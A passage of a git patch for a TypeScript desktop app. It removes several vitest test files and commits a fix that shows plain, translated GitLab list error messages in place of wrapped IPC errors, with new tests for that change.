expect(searchSessions).toHaveBeenCalledExactlyOnceWith( - { query: 'needle', filters: { agents: ['codex'] }, within, cursor: undefined }, - 'ssh:build-box' - ) - unmount() - }) - - it('does not restart the search while the identity holds', async () => { - const { rerender, unmount } = renderHook(() => - useAiVaultPanelSearch('needle', AGENTS, WORKSPACE, 'ssh:build-box', 'relevance') - ) - await debounce() - rerender() - rerender() - await debounce() - expect(searchSessions).toHaveBeenCalledTimes(1) - unmount() - }) -}) diff --git a/src/renderer/src/components/sidebar/wsl-host-removal.test.ts b/src/renderer/src/components/sidebar/wsl-host-removal.test.ts deleted file mode 100644 index e7a0d05ade6..00000000000 --- a/src/renderer/src/components/sidebar/wsl-host-removal.test.ts +++ /dev/null @@ -1,116 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' - -const mocks = vi.hoisted(() => { - const workspace: { activeWorktreeId: string | null; ownerHostId: string | null } = { - activeWorktreeId: null, - ownerHostId: null - } - return { - warning: vi.fn(), - info: vi.fn(), - setRuntimeEnvironments: vi.fn(), - setActiveWorktree: vi.fn(), - workspace - } -}) - -vi.mock('sonner', () => ({ toast: { warning: mocks.warning, info: mocks.info } })) -vi.mock('@/store', () => ({ - useAppStore: { - getState: () => ({ - activeWorktreeId: mocks.workspace.activeWorktreeId, - setActiveWorktree: mocks.setActiveWorktree, - setRuntimeEnvironments: mocks.setRuntimeEnvironments - }) - } -})) -vi.mock('@/lib/workspace-row-owner-host', () => ({ - workspaceOwnerHostId: () => mocks.workspace.ownerHostId -})) - -import { removeWslHost } from './wsl-host-removal' - -function stubApi(result: unknown): ReturnType { - const remove = vi.fn(async () => result) - vi.stubGlobal('window', { - api: { runtimeEnvironments: { list: async () => [], wslHosts: { remove } } } - }) - return remove -} - -afterEach(() => { - vi.unstubAllGlobals() -}) - -describe('removeWslHost', () => { - beforeEach(() => { - mocks.warning.mockReset() - mocks.info.mockReset() - mocks.setRuntimeEnvironments.mockReset() - mocks.setActiveWorktree.mockReset() - mocks.workspace.activeWorktreeId = null - mocks.workspace.ownerHostId = null - }) - - it('says the host keeps running when another Orca on this computer shares it', async () => { - stubApi({ stopped: true, keptForOtherDesktops: ['Orca Dev'] }) - await removeWslHost('wsl:ubuntu') - expect(mocks.info).toHaveBeenCalledWith( - 'Removed from this Orca. The host keeps running for Orca Dev.' - ) - expect(mocks.warning).not.toHaveBeenCalled() - }) - - it('names several unnamed peers once', async () => { - stubApi({ stopped: true, keptForOtherDesktops: ['another Orca', 'another Orca', 'Orca Dev'] }) - await removeWslHost('wsl:ubuntu') - expect(mocks.info).toHaveBeenCalledWith( - 'Removed from this Orca. The host keeps running for another Orca, Orca Dev.' - ) - }) - - it('removes quietly when the server, its daemon and terminals all ended', async () => { - const remove = stubApi({ stopped: true }) - await removeWslHost('wsl:ubuntu') - expect(remove).toHaveBeenCalledWith({ environmentId: 'wsl:ubuntu' }) - expect(mocks.setRuntimeEnvironments).toHaveBeenCalledWith([]) - expect(mocks.warning).not.toHaveBeenCalled() - expect(mocks.setActiveWorktree).not.toHaveBeenCalled() - }) - - it('leaves the active workspace when it lived on the removed host', async () => { - stubApi({ stopped: true }) - mocks.workspace.activeWorktreeId = 'repo::/home/me/app' - mocks.workspace.ownerHostId = 'runtime:wsl%3Aubuntu' - await removeWslHost('wsl:ubuntu') - expect(mocks.setActiveWorktree).toHaveBeenCalledWith(null) - - mocks.setActiveWorktree.mockReset() - mocks.workspace.ownerHostId = 'local' - await removeWslHost('wsl:ubuntu') - expect(mocks.setActiveWorktree).not.toHaveBeenCalled() - }) - - it('says what is still running in the distro, and keeps saying it until dismissed', async () => { - stubApi({ stopped: false, reason: '1 terminal kept running, so Orca left the server running.' }) - await removeWslHost('wsl:ubuntu') - expect(mocks.warning).toHaveBeenCalledWith( - 'The host was removed, but something in the distro is still running: 1 terminal kept running, so Orca left the server running.', - { duration: Infinity } - ) - }) - - it('says the host stays, and why, when its stop is pending', async () => { - stubApi({ - stopped: false, - reason: 'Start Ubuntu to finish removing it.', - verdict: 'unverifiable', - kept: true - }) - await removeWslHost('wsl:ubuntu') - expect(mocks.warning).toHaveBeenCalledExactlyOnceWith( - 'Orca didn’t remove the host yet: Start Ubuntu to finish removing it. Remove it again to retry, or connect it to keep it.', - { duration: Infinity } - ) - }) -}) diff --git a/src/renderer/src/components/stats/CodexUsagePane.test.tsx b/src/renderer/src/components/stats/CodexUsagePane.test.tsx deleted file mode 100644 index ebedfd4a849..00000000000 --- a/src/renderer/src/components/stats/CodexUsagePane.test.tsx +++ /dev/null @@ -1,115 +0,0 @@ -// @vitest-environment happy-dom - -import '@testing-library/jest-dom/vitest' - -import { cleanup, render, screen } from '@testing-library/react' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type { CodexUsageSummary } from '../../../../shared/codex-usage-types' -import type { AppState } from '../../store' -import { CodexUsagePane } from './CodexUsagePane' - -const noop = vi.fn() - -let currentSummary: CodexUsageSummary | null = null - -const mockStoreState = { - codexUsageScanState: { - enabled: true, - isScanning: false, - lastScanStartedAt: 1, - lastScanCompletedAt: 2, - lastScanError: null, - hasAnyCodexData: true - }, - get codexUsageSummary() { - return currentSummary - }, - codexUsageDaily: [], - codexUsageModelBreakdown: [], - codexUsageProjectBreakdown: [], - codexUsageRecentSessions: [], - codexUsageScope: 'orca', - codexUsageRange: '30d', - fetchCodexUsage: noop, - setCodexUsageEnabled: noop, - refreshCodexUsage: noop, - setCodexUsageScope: noop, - setCodexUsageRange: noop, - recordFeatureInteraction: noop -} satisfies Partial - -vi.mock('../../store', () => ({ - useAppStore: (selector: (state: Partial) => unknown) => selector(mockStoreState) -})) - -vi.mock('./CodexUsageDetails', () => ({ - CodexUsageDetails: () =>
details
-})) - -vi.mock('./ShareUsageButton', () => ({ - ShareUsageButton: () => -})) - -vi.mock('@/i18n/i18n', () => ({ - getIntlLocale: () => 'en', - translate: (_key: string, fallback: string) => fallback -})) - -function summaryWithUnpriced( - hasUnpricedModels: boolean, - estimatedCostUsd: number | null = 12.5 -): CodexUsageSummary { - return { - scope: 'orca', - range: '30d', - sessions: 1, - events: 1, - inputTokens: 1000, - cachedInputTokens: 400, - outputTokens: 250, - reasoningOutputTokens: 100, - totalTokens: 1250, - estimatedCostUsd, - hasUnpricedModels, - topModel: 'gpt-6-astra', - topProject: 'Repo', - hasAnyCodexData: true - } -} - -afterEach(() => { - currentSummary = null - cleanup() -}) - -describe('CodexUsagePane estimated cost card', () => { - it('qualifies the total when a named model has no pricing entry', () => { - currentSummary = summaryWithUnpriced(true) - - render() - - expect( - screen.getByText('Est. API-equivalent cost • excludes unpriced models') - ).toBeInTheDocument() - expect(screen.getByText('$12.50')).toBeInTheDocument() - }) - - it('drops the caveat when no model was priced, since there is no remainder to exclude', () => { - currentSummary = summaryWithUnpriced(true, null) - - render() - - expect(screen.getByText('Est. API-equivalent cost')).toBeInTheDocument() - expect(screen.queryByText(/excludes unpriced models/)).not.toBeInTheDocument() - expect(screen.getByText('n/a')).toBeInTheDocument() - }) - - it('leaves the total unqualified when every model is priced', () => { - currentSummary = summaryWithUnpriced(false) - - render() - - expect(screen.getByText('Est. API-equivalent cost')).toBeInTheDocument() - expect(screen.queryByText(/excludes unpriced models/)).not.toBeInTheDocument() - }) -}) diff --git a/src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts b/src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts deleted file mode 100644 index 7e7633ad871..00000000000 --- a/src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { TerminalTab } from '../../../../shared/terminal-tab-types' -import type { ParkVerdictFlipRecord } from './terminal-park-verdict-flip-telemetry' -import { withholdUnparkableTerminalTabs } from './terminal-cold-park-withheld-tabs' - -const coverage = vi.hoisted(() => ({ byTabId: new Map() })) - -vi.mock('./terminal-parked-tab-watchers', () => ({ - canWatcherCoverParkedTerminalTab: (_worktreeId: string, tab: TerminalTab) => - coverage.byTabId.get(tab.id) ?? true -})) - -const WORKTREE = 'repo::/wt' - -function terminalTab(id: string): TerminalTab { - return { id, ptyId: `${WORKTREE}@@${id}`, title: id } as TerminalTab -} - -function pinnedRecord(pinnedUntilMs: number | null): ParkVerdictFlipRecord { - return { - parked: false, - windowStartMs: 0, - flips: 0, - notified: false, - lastFlipMs: 0, - burstStartMs: 0, - burstFlips: 0, - pinnedUntilMs - } -} - -beforeEach(() => { - coverage.byTabId.clear() -}) - -describe('withholdUnparkableTerminalTabs', () => { - it('parks a covered tab with no pin', () => { - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: new Map(), - nowMs: 1_000 - }) - - expect(parkedTabIds).toEqual(new Set(['tab-a'])) - expect(parkVerdictPinUntilMsByTabId.size).toBe(0) - }) - - // Return the deadline too: it schedules the only wakeup that releases damping. - it('withholds a pinned tab and reports its deadline', () => { - const records = new Map([['tab-a', pinnedRecord(9_000)]]) - - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: records, - nowMs: 1_000 - }) - - expect(parkedTabIds.has('tab-a')).toBe(false) - expect(parkVerdictPinUntilMsByTabId.get('tab-a')).toBe(9_000) - }) - - it('withholds a tab the watchers cannot cover', () => { - coverage.byTabId.set('tab-a', false) - - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: new Map(), - nowMs: 1_000 - }) - - expect(parkedTabIds.has('tab-a')).toBe(false) - expect(parkVerdictPinUntilMsByTabId.size).toBe(0) - }) - - // Expired pins must release tabs back to policy instead of retaining them forever. - it('parks a tab whose pin has lapsed', () => { - const records = new Map([['tab-a', pinnedRecord(500)]]) - - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: records, - nowMs: 1_000 - }) - - expect(parkedTabIds.has('tab-a')).toBe(true) - expect(parkVerdictPinUntilMsByTabId.size).toBe(0) - }) - - it('does not consult non-candidates and leaves the input set untouched', () => { - const coldParkedTabIds = new Set(['tab-a']) - coverage.byTabId.set('tab-b', false) - - const { parkedTabIds } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a'), terminalTab('tab-b')], - coldParkedTabIds, - parkVerdictRecords: new Map(), - nowMs: 1_000 - }) - - expect(parkedTabIds).toEqual(new Set(['tab-a'])) - expect(coldParkedTabIds).toEqual(new Set(['tab-a'])) - }) -}) diff --git a/src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts b/src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts deleted file mode 100644 index ad03b76a7ff..00000000000 --- a/src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts +++ /dev/null @@ -1,114 +0,0 @@ -// @vitest-environment happy-dom -import { act, renderHook } from '@testing-library/react' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { PaneProcessExit } from './pty-connection-types' -import type { TerminalPaneCloseController } from './use-terminal-pane-close-actions' - -type MockState = { - storeState: { tabsByWorktree: Record } - readyRestartPtyIds: string[] - pendingAgent: 'codex' | 'claude' | null -} - -const mocks = vi.hoisted(() => { - const state: MockState = { - storeState: { tabsByWorktree: {} }, - readyRestartPtyIds: [], - pendingAgent: null - } - return { - ...state, - connectPanePty: vi.fn(() => ({ dispose: vi.fn() })), - buildPaneAccountRestartStartup: vi.fn((agent: string) => ({ - command: `${agent} resume session-1` - })) - } -}) - -vi.mock('../../store', () => ({ - useAppStore: Object.assign( - (selector: (state: unknown) => unknown) => selector(mocks.storeState), - { getState: () => mocks.storeState } - ) -})) -vi.mock('./pty-connection', () => ({ connectPanePty: mocks.connectPanePty })) -vi.mock('@/lib/agent-account-restart-startup', () => ({ - buildPaneAccountRestartStartup: mocks.buildPaneAccountRestartStartup -})) -vi.mock('./pane-account-restart-readiness', () => ({ - selectReadyAccountRestartPtyIds: () => mocks.readyRestartPtyIds, - isAccountRestartReady: () => true -})) - -import { useTerminalPaneProcessExitActions } from './use-terminal-pane-process-exit-actions' - -const PANE = { id: 1, leafId: '11111111-1111-4111-8111-111111111111', container: { dataset: {} } } - -function createController(): TerminalPaneCloseController { - const manager = { getPanes: () => [PANE], setActivePane: vi.fn() } - const transport = { getPtyId: () => 'pty-1', destroy: vi.fn() } - const members = new Map( - Object.entries({ - managerRef: { current: manager }, - paneTransportsRef: { current: new Map([[PANE.id, transport]]) }, - panePtyBindingsRef: { current: new Map() }, - savedLayout: { ptyIdsByLeafId: { [PANE.leafId]: 'pty-1' } }, - tabId: 'tab-1', - worktreeId: 'wt-1', - consumePendingPaneAccountRestart: () => mocks.pendingAgent, - setPaneProcessExitsByPaneId: vi.fn(), - setTerminalErrorsByPaneId: vi.fn() - }) - ) - // Why: every other controller member is a no-op callback for these restart paths. - const noop = vi.fn() - const stub = new Proxy({}, { get: (_, key) => (members.has(key) ? members.get(key) : noop) }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the hook only reads the members stubbed above plus callbacks the proxy fills with no-ops. - return stub as unknown as TerminalPaneCloseController -} - -describe('useTerminalPaneProcessExitActions', () => { - beforeEach(() => { - mocks.readyRestartPtyIds = [] - mocks.pendingAgent = null - mocks.connectPanePty.mockClear() - mocks.buildPaneAccountRestartStartup.mockClear() - }) - - it('restarts a failed shell as a plain shell, not an agent', () => { - const { result } = renderHook(() => useTerminalPaneProcessExitActions(createController())) - const processExit: PaneProcessExit = { - paneId: PANE.id, - exitCode: 1, - reason: 'process-failed', - startup: null - } - - act(() => result.current.handleRestartExitedPane(processExit)) - - expect(mocks.connectPanePty).toHaveBeenCalledTimes(1) - expect(mocks.connectPanePty).toHaveBeenCalledWith( - PANE, - expect.anything(), - expect.objectContaining({ startup: null }) - ) - expect(mocks.buildPaneAccountRestartStartup).not.toHaveBeenCalled() - }) - - it('still resumes Codex when an account switch restarts the pane', () => { - mocks.readyRestartPtyIds = ['pty-1'] - mocks.pendingAgent = 'codex' - - renderHook(() => useTerminalPaneProcessExitActions(createController())) - - expect(mocks.buildPaneAccountRestartStartup).toHaveBeenCalledWith( - 'codex', - expect.objectContaining({ leafId: PANE.leafId }) - ) - expect(mocks.connectPanePty).toHaveBeenCalledWith( - PANE, - expect.anything(), - expect.objectContaining({ startup: { command: 'codex resume session-1' } }) - ) - }) -}) diff --git a/src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts b/src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts deleted file mode 100644 index 9bfd5f45080..00000000000 --- a/src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts +++ /dev/null @@ -1,112 +0,0 @@ -/** Mouse close once bypassed the running-process confirmation used by Cmd+W (#10142); both paths must enforce the same guard. */ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { - requestPinnedTabCloseConfirmMock, - getStateMock, - inspectRuntimeTerminalProcessMock, - isWebRuntimeSessionActiveMock, - resolveHostSessionTabIdForWebSessionTabMock -} = vi.hoisted(() => ({ - requestPinnedTabCloseConfirmMock: vi.fn(), - getStateMock: vi.fn(), - inspectRuntimeTerminalProcessMock: vi.fn(), - isWebRuntimeSessionActiveMock: vi.fn(() => false), - resolveHostSessionTabIdForWebSessionTabMock: vi.fn<() => string | null>(() => null) -})) - -vi.mock('@/store', () => ({ - useAppStore: { getState: getStateMock } -})) - -vi.mock('@/runtime/web-runtime-session-tab-lifecycle', () => ({ - activateWebRuntimeSessionTab: vi.fn(), - closeWebRuntimeSessionTab: vi.fn() -})) -vi.mock('@/runtime/web-runtime-terminal-creation', () => ({ - createWebRuntimeSessionTerminal: vi.fn() -})) -vi.mock('@/runtime/web-runtime-session-environment', () => ({ - isWebRuntimeSessionActive: isWebRuntimeSessionActiveMock -})) -vi.mock('../../../../shared/terminal-surface-id', () => ({ - isWebTerminalSurfaceTabId: vi.fn(() => false), - toHostSessionTabId: vi.fn((tabId: string) => tabId) -})) - -vi.mock('@/runtime/web-session-tabs-sync/tracking-lifecycle', () => ({ - getLatestWebSessionTabsPublicationEpoch: vi.fn(() => 'epoch-1') -})) -vi.mock('@/runtime/web-session-tabs-sync/tracking-mappings', () => ({ - resolveHostSessionTabIdForWebSessionTab: resolveHostSessionTabIdForWebSessionTabMock -})) - -vi.mock('@/runtime/runtime-terminal-inspection', () => ({ - inspectRuntimeTerminalProcess: inspectRuntimeTerminalProcessMock -})) - -import { closeTerminalTab } from './terminal-tab-actions' -import { terminalOwnerRows } from './terminal-tab-owner-rows.test-fixture' - -function stateWithBusyTerminalTab(closeTab: () => void): Record { - return { - settings: { activeRuntimeEnvironmentId: null, confirmClosePinnedTab: true }, - ...terminalOwnerRows(null), - tabsByWorktree: { 'wt-1': [{ id: 'tab-busy' }, { id: 'tab-other' }] }, - unifiedTabsByWorktree: { - 'wt-1': [ - { id: 'tab-busy', entityId: 'tab-busy', contentType: 'terminal', isPinned: false }, - { id: 'tab-other', entityId: 'tab-other', contentType: 'terminal', isPinned: false } - ] - }, - ptyIdsByTabId: { 'tab-busy': ['pty-busy'] }, - terminalLayoutsByTabId: { 'tab-busy': { ptyIdsByLeafId: { leaf: 'pty-busy' } } }, - agentStatusByPaneKey: {}, - openFiles: [], - browserTabsByWorktree: {}, - activeWorktreeId: 'wt-1', - activeTabId: 'tab-busy', - closeTab, - requestPinnedTabCloseConfirm: requestPinnedTabCloseConfirmMock, - setActiveTab: vi.fn(), - setActiveFile: vi.fn(), - setActiveTabType: vi.fn(), - setActiveBrowserTab: vi.fn(), - setActiveWorktree: vi.fn() - } -} - -describe('#10142 close confirmation policy is the same for keyboard and mouse', () => { - const closeTab = vi.fn() - - beforeEach(() => { - vi.clearAllMocks() - getStateMock.mockReturnValue(stateWithBusyTerminalTab(closeTab)) - isWebRuntimeSessionActiveMock.mockReturnValue(false) - resolveHostSessionTabIdForWebSessionTabMock.mockReturnValue(null) - inspectRuntimeTerminalProcessMock.mockResolvedValue({ - foregroundProcess: 'sleep', - hasChildProcesses: true - }) - }) - - it('mouse close routes a pinned tab through its confirmation guard', () => { - const state = stateWithBusyTerminalTab(closeTab) - ;(state.unifiedTabsByWorktree as Record)[ - 'wt-1' - ]![0]!.isPinned = true - getStateMock.mockReturnValue(state) - - closeTerminalTab('tab-busy') - - expect(requestPinnedTabCloseConfirmMock).toHaveBeenCalled() - expect(closeTab).not.toHaveBeenCalled() - }) - - it('mouse close (X button / middle-click) does not drop a busy tab without confirmation', async () => { - closeTerminalTab('tab-busy') - await Promise.resolve() - - expect(closeTab).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts b/src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts deleted file mode 100644 index 1d1e656badd..00000000000 --- a/src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { - PendingWorktreeCreation, - WorktreeCreationRequest -} from '@/lib/pending-worktree-creation' - -const store = { - settings: { - activeRuntimeEnvironmentId: null as string | null - }, - pendingWorktreeCreations: {} as Record, - beginPendingWorktreeCreation: vi.fn(), - setActivePendingWorktreeCreation: vi.fn(), - setActiveView: vi.fn(), - setSidebarOpen: vi.fn(), - createWorktree: vi.fn() -} - -vi.mock('@/store', () => ({ - useAppStore: { - getState: () => store - } -})) - -vi.mock('@/lib/browser-uuid', () => ({ - createBrowserUuid: () => 'creation-new' -})) - -vi.mock('@/lib/worktree-activation', () => ({ - activateAndRevealWorktree: vi.fn() -})) - -vi.mock('@/lib/worktree-initial-terminal-seeding', () => ({ - ensureWorktreeHasInitialTerminal: vi.fn() -})) - -vi.mock('@/lib/workspace-activation-terminal-focus', () => ({ - queueWorkspaceActivationTerminalFocus: vi.fn() -})) - -vi.mock('@/lib/new-workspace', () => ({ - ensureAgentStartupInTerminal: vi.fn() -})) - -vi.mock('sonner', () => ({ - toast: { error: vi.fn(), success: vi.fn() } -})) - -vi.mock('@/lib/ephemeral-vm-workspace-target', () => ({ - prepareEphemeralVmWorkspaceTarget: vi.fn() -})) - -import { runBackgroundWorktreeCreation } from './worktree-creation-flow' - -function makeRequest(overrides: Partial = {}): WorktreeCreationRequest { - return { - repoId: 'repo-1', - name: 'feature', - setupDecision: 'inherit', - agent: null, - pendingFirstAgentMessageRename: false, - note: '', - startupPlan: null, - quickPrompt: '', - quickTelemetry: null, - ...overrides - } -} - -function makePendingCreation(request: WorktreeCreationRequest): PendingWorktreeCreation { - return { - creationId: 'existing', - phase: 'preparing', - status: 'creating', - startedAt: 1, - indeterminate: false, - loaderVisible: true, - request - } -} - -describe('runBackgroundWorktreeCreation linked-item dedupe', () => { - beforeEach(() => { - vi.clearAllMocks() - store.pendingWorktreeCreations = {} - }) - - it('reveals an existing linked-item creation instead of starting a duplicate', () => { - const linkedRequest = makeRequest({ - linkedIssue: 42, - workspaceRunContext: { - kind: 'workspace-run', - projectId: 'project-1', - hostId: 'ssh:server', - projectHostSetupId: 'setup-1', - repoId: 'repo-1', - path: '/repo' - } - }) - store.pendingWorktreeCreations = { - existing: makePendingCreation(linkedRequest) - } - - const creationId = runBackgroundWorktreeCreation(linkedRequest) - - expect(creationId).toBe('existing') - expect(store.setActivePendingWorktreeCreation).toHaveBeenCalledWith('existing') - expect(store.setActiveView).toHaveBeenCalledWith('terminal') - expect(store.setSidebarOpen).toHaveBeenCalledWith(true) - expect(store.beginPendingWorktreeCreation).not.toHaveBeenCalled() - expect(store.createWorktree).not.toHaveBeenCalled() - }) -}) From 2504ea9f752e9c08422ad346aef817db7dbaf426 Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Fri, 30 Oct 2026 21:42:49 -0700 Subject: [PATCH 02/47] fix(tasks): remove IPC wrappers from GitLab list errors (#36506) * fix(tasks): unwrap GitLab list transport errors * fix(tasks): retain GitLab list recovery instructions * test(tasks): align GitLab banner harness input types --- .../use-task-page-gitlab-loading.test.tsx | 151 +++++++++++++++++- .../gitlab/use-task-page-gitlab-loading.ts | 10 +- src/renderer/src/i18n/locales/en.json | 1 + 3 files changed, 158 insertions(+), 4 deletions(-) diff --git a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx index 5cab64d2f27..6d4891f0d4a 100644 --- a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx +++ b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.test.tsx @@ -1,9 +1,15 @@ // @vitest-environment happy-dom -import { cleanup, renderHook, waitFor } from '@testing-library/react' +import { cleanup, render, renderHook, screen, waitFor } from '@testing-library/react' +import { useState } from 'react' +import type { TaskPageComposerActionsModel } from '../use-task-page-composer-actions' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { Repo } from '../../../../../shared/repo-types' +import type { ExecutionHostId } from '../../../../../shared/execution-host' import type { GitLabWorkItem } from '../../../../../shared/gitlab-types' +import { i18n } from '@/i18n/i18n' + +vi.mock('@/store', () => ({ useAppStore: { getState: vi.fn() } })) const rpc = vi.hoisted(() => ({ call: vi.fn() })) @@ -17,6 +23,8 @@ import { useTaskPageGitLabLoading } from './use-task-page-gitlab-loading' +import { TaskPageGitLabItemList } from './ItemList' + const serverRepo: Repo = { id: 'server-repo', path: '/srv/app', @@ -36,6 +44,143 @@ beforeEach(() => { afterEach(cleanup) describe('useTaskPageGitLabLoading', () => { + function GitLabListHarness({ + view, + executionHostId = 'local' + }: { + view: 'issues' | 'mrs' + executionHostId?: ExecutionHostId + }) { + const [gitlabItems, setGitlabItems] = useState([]) + const [gitlabError, setGitlabError] = useState(null) + const [gitlabLoading, setGitlabLoading] = useState(false) + const repo: Repo = { ...serverRepo, executionHostId } + useTaskPageGitLabLoading({ + selectedRepos: [repo], + selectedReposKey: executionHostId, + primaryRepo: repo, + taskSource: 'gitlab', + setGitlabItems, + setGitlabLoading, + setGitlabError, + gitlabRefreshNonce: 0, + gitlabView: view, + setGitlabTodos: vi.fn(), + setGitlabTodosLoading: vi.fn(), + activeGitlabFilter: 'opened' + }) + const model = { + gitlabItems, + gitlabError, + gitlabLoading, + gitlabEmptyState: { title: 'No items', description: '' }, + displayedGitLabItems: gitlabItems, + openGitLabDetailPage: vi.fn(), + handleUseGitLabItem: vi.fn() + } satisfies Partial + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ItemList reads only the fields supplied above. + return + } + + it.each(['issues', 'mrs'] as const)( + 'shows a plain message for a wrapped %s rejection', + async (view) => { + const channel = view === 'issues' ? 'gitlab:listIssues' : 'gitlab:listMRs' + const rejectList = vi + .fn() + .mockRejectedValue( + new Error( + `Error invoking remote method '${channel}': Error: Access denied: unknown repository path` + ) + ) + Object.assign(window.api.gl, { listIssues: rejectList, listMRs: rejectList }) + const { container } = render() + + expect(await screen.findByText('Access denied: unknown repository path')).toBeTruthy() + expect(container.textContent).not.toContain('Error invoking remote method') + } + ) + + it.each([new Error("Error invoking remote method 'gitlab:listIssues': Error: "), null, {}])( + 'shows a readable fallback for rejection %s', + async (reason) => { + glListIssues.mockRejectedValue(reason) + render() + + expect( + await screen.findByText('Could not load GitLab work items. Refresh to try again.') + ).toBeTruthy() + } + ) + + it.each([ + { + failure: 'unknown owner with multiline recovery', + executionHostId: 'runtime:unresolved-owner', + expected: + 'No se conoce el equipo de este repositorio.\nVuelve a conectarlo e inténtalo de nuevo.' + }, + { + failure: 'unreadable rejection with translated fallback', + executionHostId: 'local', + expected: 'No se pudieron cargar los elementos de GitLab. Actualiza para volver a intentarlo.' + } + ] as const)('renders $failure', async ({ executionHostId, expected }) => { + const language = i18n.language + const resources = i18n.getResourceBundle('es', 'translation') + try { + i18n.removeResourceBundle('es', 'translation') + i18n.addResourceBundle('es', 'translation', { + auto: { + runtime: { + forgeCredentialTarget: { + unknownHost: + 'No se conoce el equipo de este repositorio.\nVuelve a conectarlo e inténtalo de nuevo.' + } + }, + components: { + TaskPage: { + gitlabLoadFailed: + 'No se pudieron cargar los elementos de GitLab. Actualiza para volver a intentarlo.' + } + } + } + }) + await i18n.changeLanguage('es') + glListIssues.mockRejectedValue(null) + render() + + const banner = await screen.findByText(expected.replace(/\s+/g, ' ')) + expect(banner.textContent).toBe(expected) + if (executionHostId === 'runtime:unresolved-owner') { + expect(glListIssues).not.toHaveBeenCalled() + expect(rpc.call).not.toHaveBeenCalled() + } + } finally { + cleanup() + i18n.removeResourceBundle('es', 'translation') + if (resources) { + i18n.addResourceBundle('es', 'translation', resources) + } + await i18n.changeLanguage(language) + } + }) + + it('suppresses a rejected project error when another project returns rows', async () => { + rpc.call.mockRejectedValueOnce( + new Error( + "Error invoking remote method 'gitlab:listIssues': Error: Access denied: unknown repository path" + ) + ) + const setGitlabItems = vi.fn() + const setGitlabError = vi.fn() + renderIssuesHook(manyServerRepos(2), setGitlabItems, setGitlabError) + + await waitFor(() => expect(setGitlabItems).toHaveBeenCalled()) + expect(setGitlabItems.mock.lastCall?.[0]).toHaveLength(1) + expect(setGitlabError).toHaveBeenCalledExactlyOnceWith(null) + }) + it('lists a server-owned repo on its server (#14603)', async () => { const setGitlabItems = vi.fn() const setGitlabError = vi.fn() @@ -143,7 +288,7 @@ describe('useTaskPageGitLabLoading', () => { })) } - function renderIssuesHook(repos: Repo[], setGitlabItems = vi.fn()) { + function renderIssuesHook(repos: Repo[], setGitlabItems = vi.fn(), setGitlabError = vi.fn()) { return renderHook(() => useTaskPageGitLabLoading({ selectedRepos: repos, @@ -152,7 +297,7 @@ describe('useTaskPageGitLabLoading', () => { taskSource: 'gitlab', setGitlabItems, setGitlabLoading: vi.fn(), - setGitlabError: vi.fn(), + setGitlabError, gitlabRefreshNonce: 0, gitlabView: 'issues', setGitlabTodos: vi.fn(), diff --git a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts index 1c2fbc0f331..03d4f679a3a 100644 --- a/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts +++ b/src/renderer/src/components/task-page/gitlab/use-task-page-gitlab-loading.ts @@ -1,5 +1,7 @@ import type { TaskPageProviderMetadataModel } from '../use-task-page-provider-metadata' import { useEffect } from 'react' +import { translate } from '@/i18n/i18n' +import { readIpcErrorDetail } from '@/lib/ipc-error' import { gitLabApiFor } from '@/runtime/gitlab-owner-api' import { mapSettledWithConcurrency } from '../../../../../shared/map-with-concurrency' import type { Repo } from '../../../../../shared/repo-types' @@ -150,7 +152,13 @@ export function useTaskPageGitLabLoading(model const errs: string[] = [] for (const r of results) { if (r.status !== 'fulfilled') { - errs.push(r.reason instanceof Error ? r.reason.message : String(r.reason)) + errs.push( + readIpcErrorDetail(r.reason) ?? + translate( + 'auto.components.TaskPage.gitlabLoadFailed', + 'Could not load GitLab work items. Refresh to try again.' + ) + ) continue } // Why the host: a twin's two rows share the 